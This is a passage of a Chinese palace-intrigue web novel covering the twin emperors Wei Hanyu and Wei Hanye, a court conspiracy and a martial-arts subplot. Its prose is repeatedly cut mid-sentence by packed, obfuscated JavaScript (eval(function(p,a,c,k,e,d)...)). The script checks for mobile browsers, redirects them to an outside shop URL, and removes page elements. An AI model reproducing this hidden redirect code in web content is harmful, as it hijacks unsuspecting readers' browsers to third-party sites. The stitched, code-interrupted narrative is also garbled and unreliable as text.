“正所谓,人言可畏,我骤然登基,定然会在朝中掀起一番风浪,俗话说,风水轮流转,我私心想着,朝中的大臣也该换一换了。在座诸位都是有勇有谋之人,诸位若是愿意助我一臂之力,赵大人,楚将军,我保证,你们两家的地位绝不会逊于在前朝的时候。莫闲,梦元,你们同魏家那可是深仇大恨,这样一雪前耻的机会,我相信你们不会愿意错过。裴兄,玄檐,我知道你们未必愿意趟这趟浑水,我也不勉强两位,但我可以发誓,如果两位能够说动裴家、张家,与我共商大事,待我来日登基,裴家和张家将会成为新的四大家之一。秦公子,白大人,我们都是旧相识了,多余的话我也就不说了,六部的尚书之职,两位可以随意挑选。文敏,你我之间的情谊自不必说,只要我坐上了这个皇位,吏部,就还是你们李家的天下。” 方承鹤说罢,仰头饮尽杯中酒,亮出空空如也的酒盅,“诸位,这就是我方某人的诚意。” 一语落地,四下无声,落针可闻。 楚天琦轻咳两声,“我有一个问题。” “楚将军请讲。” “方公子说,皇上被人当街掳走了,我想知道,这件事是方公子所为吗?” 方承鹤坦诚地说,“不是。” 宁凯风讶然道,“不是你干的?那是谁干的?” “是我的……一个朋友……” 秦川挑了挑眉,“方公子也太谦虚了,虽然最后不是你动的手,但若是没有我配合你,在皇上的酒水中下了迷药,皇上又怎么可能那么容易被人劫走。” 白昭看了一眼秦川,他刚才就觉得秦川有点眼熟,如今听秦川这么一说,猛然想起自己曾经在魏晗烨的大婚上见过此人,那时,秦川还是个扶着轿舆的太监。 白昭不明白一个太监怎么也坐到了这里,但他并没有多问,只是默默琢磨着整件事情的首尾。 “哈哈哈哈,是啊,还要多谢秦公子帮忙,不然事情也不会进展得这么顺利。” 秦川摆手道,“别介,奴才可当不起方公子的这声谢。方公子,你方才许诺给大家的,你能做到,你的那位朋友同样也能做到。你说,我们为什么要选择你呢?” 方承鹤闻言,脸色遽然一沉,“秦公子此言何意?秦公子可别忘了,你入宫那么多年,你的家眷都是由我派人照拂的,秦公子若是这么说,咱们就得换个玩法了。” 秦川无所谓地笑笑,“随你,反正那些人都是假的,我根本就不认识他们。” “你说什么?” “方公子,其实,我的家人老早就死了,所以我才憋了一口气,想在宫里混出个名堂。可你非要让我说出我家人的下落,我只好随意编了一户人家给你,没想到你竟信以为真了。” 方承鹤咬牙,“秦川!就算是这样,你终究是从我府里出去的人,你怎么能这么轻易地就投靠别人?你太让我失望了!” 众人心怀鬼胎,神色各异。 莫闲冷眼看了一圈,心中暗自冷笑。 他拱了拱手,“诸位,莫闲家中还有些事,先行告退。” 方承鹤伸手欲拦,“莫闲!” 莫闲不顾众人的阻拦,起身径直离开。 他下楼时,正好遇见了端着酒壶上来的盼儿,盼儿一见他,哗啦一声,手中的酒壶应声落地,她不可置信地盯着莫闲,张了张嘴,“公子,是你吗?” 莫闲心下叹气,没想到还是没躲过,让她看见了自己的这副鬼样子。 他努力笑了笑,“盼儿,数月不见,你长高了不少。” 一时间,泪水像断了线的珠子般从盼儿的双颊滚落,她上前抱住莫闲,哽咽道,“公子!” 她的身子小小的,没有一点重量,像是春日里的柳絮,随风起,随风落。 湿湿润润的温凉之感从他的心口传来,他低头一看,只见衣襟已经被打湿了一大片。 这时,楼上忽然传来了一阵争吵声。 莫闲轻轻拍了拍盼儿的背,“盼儿,这儿不方便,我们换个地方说话。” 盼儿伸手抹了把眼泪,“好。” 屋内,秦川起身,冲方承鹤行了一礼,“方公子,你对我的确有提携之恩,在这件事情上,我承认,是我对不住你,但我相信你在看到了他的真容之后,也会明白我的选择。” 方承鹤眉头深锁,“他?” 忽听“啊”的一声,守在门外的三月被一脚踹飞在桌案上,满地碎瓷乱响,门,开了。 众人闻声看去,待看清楚那人的形容时,都不由得怔愣在原地。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏晗煜面上平和,声音却是冷酷无情,不带一丝温度,“方公子若是真想要这个荷包,便该平心静气地坐下来,我们好好谈谈,如何?” 方承鹤的手紧握成拳,青筋暴起,他咬着牙,从齿缝间挤出一个“好”字。 魏晗煜笑了笑,微一抬臂,“方公子,坐。” 栀子灯向下打在光洁明亮的梓板上,人影恍惚,物影斑驳。 寒木吃多了酒,下楼时整个人都晕乎乎的,险些站立不稳。 寒星扶着他,心中羡慕不已。 他喝的酒比寒木只多不少,却怎么喝也喝不醉。 寒星絮絮叹了口气,“木头,你可知,能喝醉是多么幸福的一件事。” 寒木用力拍了寒星一下,“寒星,无论什么时候,你都要记住,你还有我这个兄弟!” 寒星闻言,心头一热,“嗯。” 二人出了缀锦楼,只见长街上车水马龙,络绎不绝。 寒星一向谨慎,横眼仔细观察着四周,却在无意间瞧见莫闲,不由得愣住了。 寒星从前是宰相府的暗卫,自然是见过席容弥德的,即便席容弥德如今已是面目全非,他还是一眼就认出了这位曾经的二少爷,不禁敛眉思忖,“他怎么会在这儿?” 寒木顺着他的视线望了过去,“怎么了?” 寒星怕打草惊蛇,连忙遮掩道,“没事没事,想是我眼花了,走吧。” 人声喧嚷,衣香盈漫,莫闲和盼儿并肩走在人群之中。 他们的头顶,一朵朵绚烂的烟花当空绽放。 流光轻曳,盼儿的眸中渐渐有了些神采,她伸出手,试探着握住了莫闲的手。 莫闲的手轻轻颤了一下,却并没有躲开。 二人都没说话,仿佛周遭的热闹皆与他们无关。 手心沁出冰凉细密的汗珠,盼儿望着眼前的憧憧人影,只觉得一切如梦一场。 过了好一阵儿,莫闲率先开口,“听说你要嫁人了?” 盼儿艰难地“嗯”了一声。 “谁家儿郎?人怎么样?” “姓谢,是新上任的京县县承,听说是耕读人家出身,去岁走科举上来的。” “这是一门好亲事。” 盼儿嗫喏着说,“公子,我的心意,你是知道的,我——” 她抬眸看向他,脸上浮出一抹红晕,她咬着下唇,声音低低的,“公子,其实我——” 莫闲似乎是叹了口气,“盼儿,你是个好姑娘,你如今有了好的归宿,我这个做兄长的也为你开心,我衷心祝福你们百年好合,白头偕老。” 盼儿没有说话,莫闲隐约听见了一阵轻微的啜泣声。 他忽然觉得,脸上冰冰凉的,他还以为是下雪了,抬手去摸,才发现自己竟然流泪了。 盼儿踮起脚尖,用手摩挲着他粗糙的面颊。 莫闲拉住她的手腕,不叫她再摸下去。 盼儿凄凉一笑,用指尖沾了一滴他的眼泪,“那你告诉我,这算什么?” 莫闲撇过头去,“妹妹出嫁,做哥哥的自然是不舍的。” “哼,是吗,公子,你为什么不肯说实话呢,你根本就是心里有我,放不下我!” “盼儿,你多心了。” 盼儿深吸一口气,似乎下定了某种决心,“席容弥德,你带我走吧,我这辈子非你不嫁。” “你疯了?” “我没有疯,我现在比任何时候都要清醒,我根本就没见过那个谢家公子,我不爱他,他也未必爱我,人活一世,殊为不易,我为什么要选择一个我不爱的男人携手余生呢?” 莫闲沉默许久,缓缓开口道,“盼儿,若是从前的席容弥德,他或许会带你离开,可是席容弥德已经死了,如今站在你面前的,是无家无业,一事无成,容貌丑陋的莫闲,盼儿,莫闲配不上你,莫闲也不希望耽误你一辈子。” 盼儿泪如雨下,她捧着他的脸,一字一顿,“我不管你是谁,席容弥德也好,莫闲也罢,我爱的是你这个人,同你的容貌、身份、地位、名姓统统没有关系。” “不,盼儿——” 他尚未说完,唇瓣突然被一片柔软幽香的云朵包裹住了。 没来得及说的话被堵在嘴里,他错愕地垂眸看着盼儿亮晶晶的眼睛,心跳不自觉加快。 下一秒,盼儿抢走了他腰间的短刀,抵在自己的颊侧。 莫闲大惊,“盼儿,你做什么?赶快把刀放下!” 盼儿含泪看着他,“公子,你不是说自己容貌丑陋吗,好,我陪你一起。” 莫闲突然意识到她要走什么,劈手便夺,可是已经迟了。 一滴滴鲜血和着眼泪,从盼儿的脸颊滚落。 盼儿松开手,“砰”的一声,刀落在了地上。 莫闲颤手捧着她的脸,心痛不已,“你怎么这么傻。” 盼儿的嘴角漾开了一抹笑,“公子,我这辈子跟定你了,带我走,求你了。” 莫闲用拇指轻轻抹去她脸上的泪痕,哑声应道,“盼儿,别哭了,我答应你就是了。” 124. 再见魏晗煜 东宫。 暗室。 魏晗烨被吊在当地,迷药的劲儿还没过,他整个人尚在昏睡之中。 魏晗煜冷冷地看了半晌,吩咐道,“想办法把他弄醒。” 秦川依言,往魏晗烨身上泼了一大桶冰水。 刹那间,刺骨的寒意渗入四肢百骸,魏晗烨猛地睁开眼睛。 他费力地抬起眼皮,待瞧见面前的魏晗煜时,他的眼中有片刻的失神,“煜——” 魏晗煜快步上前,抬手钳住他的下颚,不叫他再发出半点声音。 魏晗煜微一侧头,看向秦川,“滚出去。” 秦川连忙退了出去。 砰的一声,暗室的石门沉重地落了下来,魏晗煜乜眼一笑,松开了手。 他打量着魏晗烨的狼狈样儿,毫不客气地嘲讽道,“你也有今天。” 魏晗烨后知后觉地意识到自己现在的境况,他抿了抿干裂的嘴皮,虚弱道,“你还活着?” “不,我已经死了。”魏晗煜仰起脸,深深吸了一口气,“活着的人,是魏晗烨。” “魏晗烨?那我是谁?” “好问题,我也在想,你应该是谁。”魏晗煜抬手拍了拍他的脸,“或者说,我在想,你还应不应该活在这个世上。” 一阵冰凉的痛楚从颊侧传来,魏晗烨的神智略微清醒了一些,“煜弟,你恨我,对吗?” 魏晗煜猛地撤回手,“别叫我煜弟,我讨厌你这么叫我!” 魏晗烨咽了口吐沫,艰难地开口问道,“我不明白,你为什么会恨我?” 魏晗煜喃喃自语,“我为什么会恨你?是啊,我为什么会恨你。”他垂下眼睫,低低地笑了起来,“哈哈哈,既生瑜,何生亮啊,要怪,就怪母后生了你我二人。”他的声音陡然变得阴厉,“魏晗烨,我们明明是一母同胞的双生兄弟,凭什么你能成为九五至尊,而我却只能做个没有名姓的孤魂野鬼,凭什么?凭什么!” 魏晗烨看着他的疯癫之态,眼底尽是痛色,“你恨我,竟是为了这个?” “不然,你以为我为什么恨你?” “可我从未想过与你相争,这个皇位早在十年前我就让给你了,后来,母后以为你死了,她拿云风的性命要挟我,让我顶替你的身份,你以为,我愿意做这个皇帝吗?” 魏晗煜的脸上突然浮出一片怒色,他伸手扼住魏晗烨的脖颈,恨声道,“你让给我?” 魏晗烨被掐的喘不过气来,他双唇微动,却并没有说什么,只是拿眼睛看着魏晗煜。 片刻后,魏晗煜愤愤然一甩袖子,松开了他。 “咳咳……” 魏晗煜轻哼一声,“魏晗烨,多年不见,没想到你还是这副德行。我记得小时候,母后就很喜欢你,因为你性子沉稳,举止规矩,母后总拿你来教育我。母后越夸你,你就表现得越乖巧,就越衬得我什么都不是。后来,在魏風漪的百日宴上,明明是你嘴馋,撺掇我去吃那块桃花糕,可是最后呢,最后中毒的人却是我,最后被关起来永远失去自由的人也是我!魏晗烨,你为什么总是摆出一副无辜的样子,就好像你什么都没做错,你永远都是对的那个!” “我真的……不记得你说的这些了……” “是啊,你怎么会记得呢,魏晗烨,你的人生那么美好,那么圆满,你怎么会记得这些不好的事情呢。父皇疼你,你才五岁,他就把你定为了大魏唯一的太子,母后也疼你,她在宫里常年备着你爱吃的桃花糕,可我也是她的孩子呀,我一吃桃花糕就会起春藓,可她为了你,却忽略了我。席容琰在桃花糕里下毒,分明就是冲着你去的,哈哈哈哈,可是最后呢,最后你什么事儿都没有,而我差点死了,好不容易捡回一条命,却再也看不见外面的阳光了。” 往事如烟,跃上心头,魏晗烨喉结滚动,说了句,“对不起。” “收起你那副悲天悯人的样子,我不需要你的同情,魏晗烨,你看清楚了,现在我过得比你好一千倍一万倍,你就永永远远被关在这个不见天日的地方吧!我受过的苦痛,我受过的折磨,你一个也别想逃脱!” 魏晗烨努力仰头,望向黑黢黢的屋顶,疑惑道,“这是哪里?中宫吗?” 魏晗煜突然笑了起来,“错了,你再猜。” “我不知道。” “哈哈哈哈,让我来告诉你。”魏晗煜面上得意,一字一顿道,“这儿,是东宫的偏殿。” “东宫?怎么可能?” “怎么不可能,一年前,你为了迎娶席容烟,派秦川将东宫重新修缮了一番,那个时候,我就让秦川挖出了这间暗室,预备着以后给你住。” “秦川?”魏晗烨突然想起,方才泼他冰水的人正是秦川,他愕然道,“秦川是你的人?” “是呀,很惊讶吧,很伤心吧。” “我只想知道,你是什么时候收买秦川的?在中宫,在东宫,还是在常德宫?” 魏晗煜摇了摇头,“这不重要,重要的是,你已经是我的手下败将了。” 魏晗烨无奈苦笑,“你高兴就好,不论你信还是不信,晗煜,我从来没有想过与你相争。” 魏晗煜看着他一脸淡然的模样,咬牙切齿,“魏晗烨,你知不知道你这副样子有多可气。” 魏晗烨神色微动,没有作声。 “好,你都不在意是吧。”魏晗煜抬手往上一指,“那么她呢,她,你总该在意了吧。” 魏晗烨像是想到了什么,脸色瞬间变得凝重起来。 魏晗煜见状,满意一笑,“果然,你是在意的。” “你想做什么?” “哈哈哈,我想做什么,我一个男人,她一个女人,你觉得我想做什么?哈哈哈哈哈哈,你说,我和她在上面欢好的时候,你在底下听着,会是何种滋味?” “你不能这样做!旌儿她是无辜的,她从来没有妨碍到你什么,她也是受害者呀!” “是啊,她的确是无辜的,她唯一的错,就是被你爱上。” “煜弟!” 魏晗煜不耐烦地打断他,“我说过,不要这么叫我!” 魏晗烨急中生智,忙道,“晗煜,你这样做,如何对得起云风。” 魏晗煜神情一滞,他低下头,呢喃着说,“云风。” 魏晗烨就像抓住了救命稻草一般,再接再厉,“是啊,云风,你不会不知道,她爱你,她爱你爱了很多年,她因为你成了哑巴,你不能做对不起她的事儿。” 魏晗煜默了片刻,沉声道,“她的嗓子,太医怎么说,还能不能治好?” “周坤说,她的嗓子是被毒哑的,再加上很多年没有得到医治,基本没什么希望了。” “云风。”魏晗煜眸中似有泪光,他阖眼长叹,“是我对不住她。” “她若知道你还活着,一定高兴坏了。” “是吗,可是如果没有我,她过得一定比现在幸福多了。” 魏晗烨也叹了口气,半晌,他突然想起一事,“魏風漪是你派来的吗?” “是,我让她在酒里下药,哄你喝下,可她最后却喝了你的那杯酒,还好我让秦川留了后手,不然,今晚的计划就要失败了。” “你已经有了秦川这个暗线,为什么还要把魏風漪扯进来,她这些年过得很不容易。” “她不容易?”魏晗煜冷笑,“那你告诉我,活在这世上的人,有哪一个过得容易了?她的母妃害惨了我,我怎么能让她置身事外呢。” “可她对你是真心的,她是真的把你当作她的亲哥哥看待。” “真心?”魏晗烨不屑道,“那又如何?真心能让一切都没有发生过吗,真心能让我们回到过去吗,哼,这世上最不值钱的就是真心。” 魏晗烨一下子反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏晗煜点点头,继续说,“父皇发现了这件事,可他为了皇家名誉,不敢声张,只能派人将皇祖母软禁在六净寺,世人都说父皇眼中只有权力,可父皇的不得已又有谁知道呢。” “可是,这和你有什么关系?” “我在追查此事的过程中,意外发现,这些年来,方家和楚家、宁家、赵家一直保持着联系,因为席容炎的缘故,这几家在朝中并不显眼,可是终有一日,他们必成心腹大患。” 魏晗烨恍然大悟,“我明白了,你是想借方承鹤之手引蛇出洞,诈出他背后的这些人?” “席容炎在朝中锋芒太盛,树敌不少,席容家落败是早晚的事儿,我一点都不着急。我怕的是,方家躲在席容家的威势之下,悄无声息地发展壮大,到那个时候,就什么都晚了。所以我以自己的‘遇刺身亡’,加速了席容家的衰败,因此诱使方承鹤在计划尚未周密之时,便按耐不住,开始了行动,而后,我再将这一干人等一网打尽。” 魏晗烨惊讶不已,他原以为魏晗煜将他关在这里,只是因为恨自己,想要报复自己,没想到,魏晗煜竟然还有这般谋算。 “你说,我是不是比你更适合当这个皇帝?” “还真是。” 魏晗煜抬起手,慢条斯理地将魏晗烨额前的湿发捋顺,勾唇一笑,“你放心,你我兄弟一场,我是不会杀你的,你安心在这儿住着,等我做完了我想做的事情,我自然会放你出来。” “晗煜,你要做什么?” 魏晗煜没有回答,他自顾自转身离去,只留下了一个疏疏阔阔的背影。 石门重新落下,微弱的烛光跟着晃动了一下,随即彻底熄灭。 四周是死一样的寂静。 魏晗烨体力不支,他被无声的黑暗包裹着,眼皮不自觉垂落,终于沉沉昏睡了过去。 125. 三乘信诺来 长街。 寒星将寒木送回了客栈,他将伤口简单处理了一下,便独自提剑出来了。 他信步走在长街的屋檐上,抬眼间,只见清辉万点,烟花正盛,像极了他与席容烟初见的那夜,十多年了,一切似乎从未改变。 可寒星明白,他们二人之间隔着不可逾越的国仇家恨,注定是再也回不去了。 心口处突然传来一股钻心的疼痛,寒星单膝跪地,无意识地唤了一声,“阿烟……” 他用手捂住伤处,默念心决,试图用怜冰决的内力压制住痛楚,可他接连试了好几次,这股痛楚不仅没有减轻,反而还加重了。 寒星心觉奇怪,他仔细回忆着今晚发生的一切,猛然想起,自己为救席容烟,曾和一人交过手,当时他便觉得自己浑身上下热血澎湃。 虽然寒星和那人交手的时间极短,但他敏锐地发现,那人使出的一招一式有些熟悉,似乎同他修炼的霜寒十四州有许多相通之处。 他喃喃自语,“难道这个人就是我要找的风萧?风萧……不好,阿烟!” 他足尖轻点,飞速朝着皇宫的方向凌空而去。 东宫。 桃夭欢喜地冲了进来,“姑娘,好消息!皇上回来了!皇上回来了!” 席容烟神色紧张,“平安吗?” “平安平安,皇上怕姑娘担心,特意让秦公公过来知会一声。” “阿弥陀佛,平安就好。” “姑娘要不要去瞧瞧皇上?” 席容烟想了想,“算了,天已经黑了,我这会子过去也不合适,明日我再去探望吧。” 桃夭点头道,“也好。” “桃夭,你去睡吧,我也要睡了。” “好,那姑娘好生歇息,我先出去了。” “嗯。” 桃夭一走,席容烟便敛眉道,“出来吧。” 三乘大师从屏风后面缓步而出,他望着席容烟,目光沉静平和,“你不怕我?” 席容烟笑了笑,“你若真想杀我,方才在长街上就动手了,你不杀我,一定是有话想对我说。” “施主还真是聪慧,不愧是西域大将军陈玄赫的女儿。” 席容烟端详着他,“只是我从未想过,当街劫走皇上的人,竟会是六净寺的得道高僧。” “施主误会了,我此行只是想见施主一面,对皇上下手的人其实另有其人。” “哦?”席容烟挑了挑眉,“此话当真?” 三乘大师微微一笑,“出家人不打诳语。” “好,我信你。”席容烟语气稍缓,“请问大师今日造访,所为何事?” “为了一个约定。” “什么约定?” “十四年前,我在西山救了一个人,他习武不当,走火入魔,我见到他时,他已经经脉寸断,奄奄一息,再无活下来的可能。即便如此,我还是把他带回了寺中,尽心救治,让他走得不那么痛苦。他为了答谢我,死前将他的武功尽数传授给我,并拜托我,一定要想办法见到陈玄赫将军,将武功传授给他。他吊着最后一口气,看我在佛前发完了誓,才阖上眼睛,安心地离开了这个世界。可惜,不久陈玄赫将军就出事了,我以为我要失约了,还好,如今让我寻到了你,你是陈家唯一的后人,我传给你,也算是履行了我对他的承诺。” 席容烟闻言一愣,好半天才回过神来,抬手指着自己,“我?” 她心说,居然还有这样的好事,自己正愁怎么为父母族人报仇,就白捡了个师傅。 “对。”三乘大师仔细观察着她的神色,话锋一转,“我知道,施主是个女子,恐怕对习武之事不是很感兴趣,若是施主实在不愿,我也不会强求。” 席容烟忙道,“不不不,大师误会了,我愿意的,我很愿意。” “好,那我们现在就开始吧。” 席容烟正要说话,忽听耳边传来一阵气流的爆破声。 但见银光一闪,凛冽的剑气当空溅起一道潋滟尘屑。 寒星手持青霜剑,破窗而入。 他挡在席容烟身前,冷冷注视着三乘大师,面露诧异之色,“你就是风萧?” 三乘大师神情平静,“施主误会了,我不是风萧。” 寒星眯起眼,沉声道,“我不会认错,你就是方才在长街上与我交手的人。你放着好好的和尚不做,竟然敢打我女人的主意,真是找死!吃我一剑!” 说罢,他纵身一跃,剑尖直指三乘大师。 席容烟根本来不及阻拦,只能大声喊道,“寒星,你误会了,你不要伤害大师!” 寒星听见席容烟为别的男人求情,眼中杀意骤现,下手更加狠厉。 三乘大师不慌不忙,抬袖轻拂,只见周遭空气凝结成朵朵飞花,轻而易举地化开了寒星的刚劲杀招。 寒星一惊,退后一步,“这是花醉三千客?” 三乘大师敛袖而立,“正是。” “花醉三千客是山海客的独门招式,你若不是山海客的儿子,山海客又怎么可能把花醉三千客传授给你,你还敢说你不是风萧!” “我在六净寺已经清修多年,施主若是不信,只管派人去西山一带打听打听,便知我说的究竟是真是假了。” “好,那你说,你来找阿烟做什么?你是不是别有用心!” “这是我和陈姑娘的事情,与施主有何干系。” “你说不说!” “我说过了,此事与施主无关,施主就不要再问了。” 寒星轻哼一声,他右手扬剑,左手指尖飞速掠过青霜剑的剑身,擦出一道逼人的寒芒。 “来吧,让我领教领教花醉三千客的厉害。” “施主真的要和我打吗?” “怎么,你不敢吗?” 三乘大师看了一眼席容烟,淡淡道,“施主若是执意如此,我可以成全你,不过我觉得,为了避免伤及无辜,我们还是换个地方为妙,你觉得呢。” “好啊。”寒星翻腕收剑,微一抬臂,“请吧。” 三乘大师翩然而去,寒星紧随其后。 席容烟既担心寒星伤到三乘大师,又担心三乘大师伤到寒星,她扶着门框,心急如焚,却又不敢大声言语,只能忧心忡忡地看着他们二人的背影,消失在一片夜色之中。 飞镜当空,长夜未央。 二人过了十余招后,寒星负剑大笑,“哈哈哈哈,痛快!” 狂风扑面,三乘大师抬手理了理自己的衣袍,“的确痛快。” “和尚,我好久没打得这么痛快了,今日同你一战,实在欢喜。” 三乘大师闻言,淡淡一笑,“这是我的荣幸。” “我听说,山海客当年自创武学二脉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594391|142169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脉为山脉,名曰‘花醉三千客’,一脉为海脉,名曰‘霜寒十四州’,我从前便想,若是山脉、海脉合二为一,该是何等威力。和尚,你有没有想过,如果你将山脉传授给我,我将海脉传授给你,你我二人联手,便可以称霸天下了。” 三乘大师沉默了一下,缓声道,“施主可知,风萧是如何死的吗?” “什么?他死了?” “风萧死状极惨,我观其脉象,正是走火入魔之症。我方才与施主交手,依稀感受到了施主剑气中的刚猛之势。不同于霜寒十四州,花醉三千客讲究的是一个‘柔’字。一刚一柔,若非天分极高之人是极难领悟的,更不要说将这二者融会贯通了,很容易反受其害。” 寒星不由怔住,“他的死,竟是因为这个。” 三乘大师叹了口气,“其实风萧仅凭花醉三千客,已经可以立足江湖了,可他太过贪心,这才丢了性命。”他顿了顿,继续说,“施主,人世纷纷,皆付流水,喜怒哀乐,不过红尘,我观施主也是个性情中人,所以我劝施主一句,唯有放下,才得解脱。” “放下?”寒星似乎是笑了笑,“和尚,若无拿起,又谈何放下呢?” 三乘大师凝睇不语,半晌方道,“施主所言,也是一番道理。” 寒星立在金碧荧煌的琉璃瓦上,俯瞰整个皇宫,“和尚,我很好奇啊,你当年决意穿上这身袈裟,遁入空门,又是为着什么呢?” 三乘大师没有答言,他蹲下身子,专注地看着一株小草从瓦片的缝隙中探出头来,许久,他轻声说,“那都是过去的事情了。” 寒星见他不愿意回答,也没再问下去,换了一个话题,“虽然我不知道你找阿烟做什么,但是我想拜托你一件事。” “你说说看。” “我想拜托你将花醉三千客教给阿烟。” 三乘大师闻言,不觉笑了出来,“为什么?” 寒星抿了抿唇,“因为她只有学了这门武功,才有机会杀我。” 三乘大师平静的目光泛起了些许波澜,他凝视着寒星,叹气道,“世界微尘里,吾宁爱与憎,施主年纪尚轻,实在不该存了这份心思。”[1] “你放心,我并不是一心寻死,我只是想死在她的手里。和尚,你不明白,有些东西是只能用性命来了结的,我若是能死在她的手里,便是我们两个之间最好的结局了。” “花醉三千客,我会教她,但并不是为了你。” “无妨,你只要愿意教她就好,有劳了。” “施主这又是何苦呀。” 寒星的唇角挂着一丝凉薄的笑,他摊开手掌,借着月色垂眸打量。 他的手生得极美,手指修长,骨节分明,在月光下十分好看。 “人在年少时总会犯许多错,只是那时并不觉得是错,直到有一天,终于意识到这点,却已是悔之晚矣。和尚,你们佛家讲放下,讲解脱,可这又何尝不是另一种执念呢?菩提本无树,明镜亦非台,若是想开了,生死,便都是一回事了。”[2] 三乘大师若有所思,合掌而赞,“施主是有大悟性之人。” 寒星笑着摆手,“我不过是浮尘一庸碌罢了,谈何悟呢。” 晚风拂面,二人的声音渐次消散在寂静的夜空之中。 清冷的月光洒落鳞次栉比的街巷,晕开一大片琥珀色的湿润云雾。 126. 比目含恨去 几日后。 魏晗煜下旨处置了同方家结党营私的一干人等,同魏晗烨不同,魏晗煜用的是雷霆手段,杀伐决断,绝不手软。 当方承鹤被处斩的消息传到西山时,太皇太后几乎哭晕过去。 朝中一时人人自危,比先前不知恭谨了多少。 入夜,山下,一顶小轿悄然而出。 魏晗煜只身一人,拦住轿子。 方承鹤掀开轿帘,瞧见是他,连忙下轿行礼,“参加陛下。” 魏晗煜往轿子里张望了一下,只见月娘正神色紧张地盯着自己。 他一挥手,“起来吧。” “多谢陛下放我们一条生路,月娘,还不快出来谢过陛下。” “不必多礼,我就是顺路过来送送你们。承鹤,你和月娘的爱情让我很感动,所以,我愿意成全你们,希望你们二人从今往后能做一对平凡夫妻,不要再卷进朝堂的是非之中了。” “陛下放心,我保证,我会带着月娘远走高飞,有生之年,不会踏入京城半步。” 月娘小声啜泣着,“陛下,奴家还有一事相求。” “你是说方云青吧。” 月娘泣不成声,拼命点头。 “我已经让人把他带到郊外了,再过一会儿,你们一家三口就能团圆了。” 方承鹤心下感激,叩首不迭。 魏晗煜仰头欣赏着今夜的月色,笑道,“时辰不早了,早点上路吧。” 方承鹤应声称是,他又给魏晗煜行了一个大礼,随即扶着月娘坐回轿子。 轿子在崎岖的山路上走了几步,随着轿夫的一声惊呼,突然停了下来。 风声狰狞,月娘被吓得面色惨白,紧紧抱住方承鹤,方承鹤拍着她的背,柔声安慰。 蓦地,一柄长剑从侧窗探入,贯穿了二人的胸膛。 纱帘在风中摇曳,方承鹤努力睁大眼睛,终于看清了窗外的那个人。 鲜红温热的血从二人的心口涌出,月娘已经死了,方承鹤撑着最后一口气,抬手阖上了月娘的眼睛,他望着魏晗煜,呢喃道,“果然是你,我就知道,你不会这么轻易地放过我。” 他咳了口血,说出的话渐次变得破碎凌乱,“我死以后,把我和月娘埋在一块儿,不然,我做鬼都不会放过你。” 魏晗煜闻言挑了挑眉,他望着二人的尸身,依旧是一脸淡漠。 秦川大着胆子上前请示,“陛下,他们的尸体……” “在郊外挖个坑,把他们一家三口埋了,这件事,你要亲自去做,一点风声都别走漏。” 秦川吓得两条腿直打哆嗦,“是,是,奴才这就去办。” 两月后,常德宫。 秦川看见肃安王,连忙迎上前来,“奴才给王爷请安。” 肃安王一脸怒容,“陛下呢,我要求见陛下。” 秦川笑道,“陛下这会子怕是没工夫见王爷。” 肃安王一把推开秦川,就往里闯,“滚开。” 秦川拿着拂尘,赶紧追了上去,“王爷!王爷不可!” 殿内,魏晗煜揽着云风,动作亲昵。 他听见疾促而至的脚步声,怫然不悦,“肃安王,你这是做什么?” 肃安王跪在当地,“陛下,臣不明白,你为什么让远儿远赴蜀地,却让苏姑娘留在京中,他们夫妇二人新婚燕尔,怎么能舍得分离呢!” “魏晗远是大魏的哲远王,总不可能一辈子住在皇宫里,至于苏姑娘,蜀道难行,何必让她去遭那个罪,朕会让哲远王每岁年末回京述职,这样他们二人也能团圆了。” “可是——” 肃安王张口还要再说,魏晗煜立刻出言打断,“没什么可是的。” “陛下!” 魏晗煜站起身,居高俯视着他,“肃安王,朕是天子还是你是天子?” 肃安王咬了咬牙,“自然是陛下。” 魏晗煜颔首道,“你知道就好,你我二人是兄弟,更是君臣,肃安王,朕提醒你一句,不论什么时候,你都别忘了自己的身份。” “是,微臣明白了。” 魏晗煜挥了挥手,“退下罢。” 肃安王神情落寞地走出大殿,一抬头,正好看见门外的袁青,袁青也看见了他,行礼道,“王爷。” “袁将军,陛下这段时间是怎么了,脾气古怪得很,感觉竟像是换了一个人似的。” 袁青思忖道,“可能是那日从长街回来,吓到了吧,王爷放宽心,陛下待王爷的情谊,王爷是知道的,等陛下过两日心情好了,说不准就让哲远王回来了呢。” 肃安王叹了口气,“但愿如此吧,多谢袁将军开导。” 袁青一笑,“王爷太客气了。” 肃安王立在大殿门口,眺望着宫墙尽头的一抹昏黄,半晌,他冲袁青点了下头,“走了。” “王爷慢走。” 肃安王走了两步,忽然站住,转身又走了回来。 “袁将军,本王有一件事拜托你。” “不敢不敢,王爷请说。” “本王要去西域一趟,这段时间,若是陛下问起我来,希望将军能够帮忙遮掩一二。” 袁青不解,“王爷为何不自己和陛下说呢?” “因为我怕陛下不肯放我走。” 袁青稍作思量,“敢问王爷此行,所为何事?” 肃安王深吸一口气,“为了本王心爱的女人。” “好吧,我会尽力而为的,也希望王爷可以快去快回,不要耽搁太久。” 肃安王拱手道,“多谢!” 西域。 风沙和软,浅草新绿。 寒星牵着踏雪玉狮,沿着滢滢泠泠的河边散步。 明媚的春光晃得他有片刻失神,待他反应过来时,一记白光已经闪到眼前。 幸而他功夫了得,一个旋身躲过。 他定睛看着那人,纳罕道,“肃安王?” 